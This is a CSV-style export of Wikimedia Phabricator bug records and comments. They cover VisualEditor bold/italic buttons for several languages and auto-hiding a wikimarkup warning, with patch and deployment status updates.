+https://gerrit.wikimedia.org/r/74979",,,1374428011,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ateveyfcbqb3i4wfvvxx,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53710,VisualEditor: Set correct text annotation buttons for nl (V/C),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266280,1374636861.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-hlwmurrr6a42vwsh4edb,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239434,VisualEditor: Set correct text annotation buttons for nl (V/C),Done and will be deployed tomorrow.,,,1374634218,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hlwmurrr6a42vwsh4edb,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239430,VisualEditor: Set correct text annotation buttons for nl (V/C),"Change 74972 merged by jenkins-bot:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374632635,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hlwmurrr6a42vwsh4edb,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+239425,VisualEditor: Set correct text annotation buttons for nl (V/C),"Change 74972 had a related patch set uploaded by Esanders:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374412448,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hlwmurrr6a42vwsh4edb,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53709,VisualEditor: Set correct text annotation buttons for eu (L/E),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266280,1374633960.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-52xvekcadppljx7wxtjw,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239385,VisualEditor: Set correct text annotation buttons for eu (L/E),Done and will be deployed tomorrow.,,,1374633960,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-52xvekcadppljx7wxtjw,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239383,VisualEditor: Set correct text annotation buttons for eu (L/E),"Change 74972 merged by jenkins-bot:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374632633,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-52xvekcadppljx7wxtjw,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+239379,VisualEditor: Set correct text annotation buttons for eu (L/E),"Change 74972 had a related patch set uploaded by Esanders:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374412437,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-52xvekcadppljx7wxtjw,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53707,VisualEditor: Set correct text annotation buttons for es (N/C),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266220,1374633947.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ztoidsuy5fwdvtm6hoxa,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239269,VisualEditor: Set correct text annotation buttons for es (N/C),Done and will be deployed tomorrow.,,,1374633947,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ztoidsuy5fwdvtm6hoxa,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239265,VisualEditor: Set correct text annotation buttons for es (N/C),"Change 74972 merged by jenkins-bot:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374632626,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztoidsuy5fwdvtm6hoxa,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+239258,VisualEditor: Set correct text annotation buttons for es (N/C),"Change 74972 had a related patch set uploaded by Esanders:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374412439,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztoidsuy5fwdvtm6hoxa,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53706,VisualEditor: Set correct text annotation buttons for pt (N/I),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266220,1374633901.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-evgaeiyun2bs3jdkzmuq,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239214,VisualEditor: Set correct text annotation buttons for pt (N/I),Done and will be deployed tomorrow.,,,1374633901,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-evgaeiyun2bs3jdkzmuq,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239207,VisualEditor: Set correct text annotation buttons for pt (N/I),"Change 74972 merged by jenkins-bot:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374632624,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-evgaeiyun2bs3jdkzmuq,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+239200,VisualEditor: Set correct text annotation buttons for pt (N/I),"Change 74972 had a related patch set uploaded by Esanders:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374412443,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-evgaeiyun2bs3jdkzmuq,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53705,VisualEditor: Set correct text annotation buttons for gl (N/C),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266220,1374633878.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-64zcrx2xmqdtz5ns3ivt,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239162,VisualEditor: Set correct text annotation buttons for gl (N/C),Done and will be deployed tomorrow.,,,1374633878,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-64zcrx2xmqdtz5ns3ivt,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239155,VisualEditor: Set correct text annotation buttons for gl (N/C),"Change 74972 merged by jenkins-bot:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374632631,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-64zcrx2xmqdtz5ns3ivt,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+239149,VisualEditor: Set correct text annotation buttons for gl (N/C),"Change 74972 had a related patch set uploaded by Esanders:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374412445,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-64zcrx2xmqdtz5ns3ivt,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53704,VisualEditor: Set correct text annotation buttons for it (G/C),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266220,1374633829.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ganyn24uk5sn6pp36vou,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239117,VisualEditor: Set correct text annotation buttons for it (G/C),Done and will be deployed tomorrow.,,,1374633829,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ganyn24uk5sn6pp36vou,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239111,VisualEditor: Set correct text annotation buttons for it (G/C),"Change 74972 merged by jenkins-bot:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374632629,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ganyn24uk5sn6pp36vou,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+239101,VisualEditor: Set correct text annotation buttons for it (G/C),"Change 74972 had a related patch set uploaded by Esanders:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374412452,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ganyn24uk5sn6pp36vou,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53703,VisualEditor: Set correct text annotation buttons for fr (G/I),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266220,1374633813.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-buz4r3nu6zcrowjeto7w,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239064,VisualEditor: Set correct text annotation buttons for fr (G/I),Done and will be deployed tomorrow.,,,1374633813,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-buz4r3nu6zcrowjeto7w,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239060,VisualEditor: Set correct text annotation buttons for fr (G/I),"Change 74972 merged by jenkins-bot:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374632620,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-buz4r3nu6zcrowjeto7w,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+239051,VisualEditor: Set correct text annotation buttons for fr (G/I),"Change 74972 had a related patch set uploaded by Esanders:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374412454,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-buz4r3nu6zcrowjeto7w,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53702,VisualEditor: Set correct text annotation buttons for hu (B/D),"This is how it is configured in WikiEditor; will require icon creation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1374266220,1374633800.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4e4lr7gjx3fhin7zieit,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+239016,VisualEditor: Set correct text annotation buttons for hu (B/D),Done and will be deployed tomorrow.,,,1374633800,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4e4lr7gjx3fhin7zieit,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+239011,VisualEditor: Set correct text annotation buttons for hu (B/D),"Change 74972 merged by jenkins-bot:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374632622,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4e4lr7gjx3fhin7zieit,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+239006,VisualEditor: Set correct text annotation buttons for hu (B/D),"Change 74972 had a related patch set uploaded by Esanders:
+Add bold/italic for more latin langages
+
+https://gerrit.wikimedia.org/r/74972",,,1374412441,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-4e4lr7gjx3fhin7zieit,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53701,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","At the moment wikimarkup being entered into the VE triggers a notice warning the user that it won't work - this notice then has to be actively dismissed. It'd be nice if, should the user remove the problematic markup, the notice would vanish.
+
+I'm popping this in as a low-priority enhancement: I appreciate the VE team has active breakage to focus on.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52386
+https://bugzilla.wikimedia.org/show_bug.cgi?id=70168",Low,25.0,1374265800,1391815339.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+238958,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","That area of code could do with some rethinking, but this is basically done.",,,1391815339,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,True,,,31,,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+238953,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","Change 110295 merged by jenkins-bot:
+Hide wikitext warning notification when the user removes the markup
+
+https://gerrit.wikimedia.org/r/110295",,,1391813698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+238948,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","Change 110295 had a related patch set uploaded by Alex Monk:
+Hide wikitext warning notification when the user removes the markup
+
+https://gerrit.wikimedia.org/r/110295",,,1391045818,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+238942,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","(In reply to comment #3)
+> There's an issue with this though, in that the popup hovers over the 'Save
+> page' button so I couldn't actually click 'Save page' very easily. It wasn't
+> at
+> all clear to me that clicking anywhere on the popup would close it.
+
+You aren't the first person to say that - see bug 52386",,,1380727372,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,13,,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,1
+238937,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","(In reply to comment #2)
+> The popup should also be closed automatically after the ""save page"" button
+> has
+> been pressed. At that point it's clear that the user is not going to remove
+> any
+> markup that still remains (for whatever reason) so the notice serves no other
+> purpose and just gets in the way of the edit summary dialog.
+
+There's an issue with this though, in that the popup hovers over the 'Save page' button so I couldn't actually click 'Save page' very easily. It wasn't at all clear to me that clicking anywhere on the popup would close it.",,,1380724444,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,True,,,13,,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,1
+238932,"VisualEditor: Auto-hide ""You've entered wikimarkup"" warning when the user has removed the markup","The popup should also be closed automatically after the ""save page"" button has been pressed. At that point it's clear that the user is not going to remove any markup that still remains (for whatever reason) so the notice serves no other purpose and just gets in the way of the edit summary dialog.",,,1375812069,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-cb45x4k3rxys6v2cqzcc,task_subcomment,,True,c1,3,False,,,5,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0
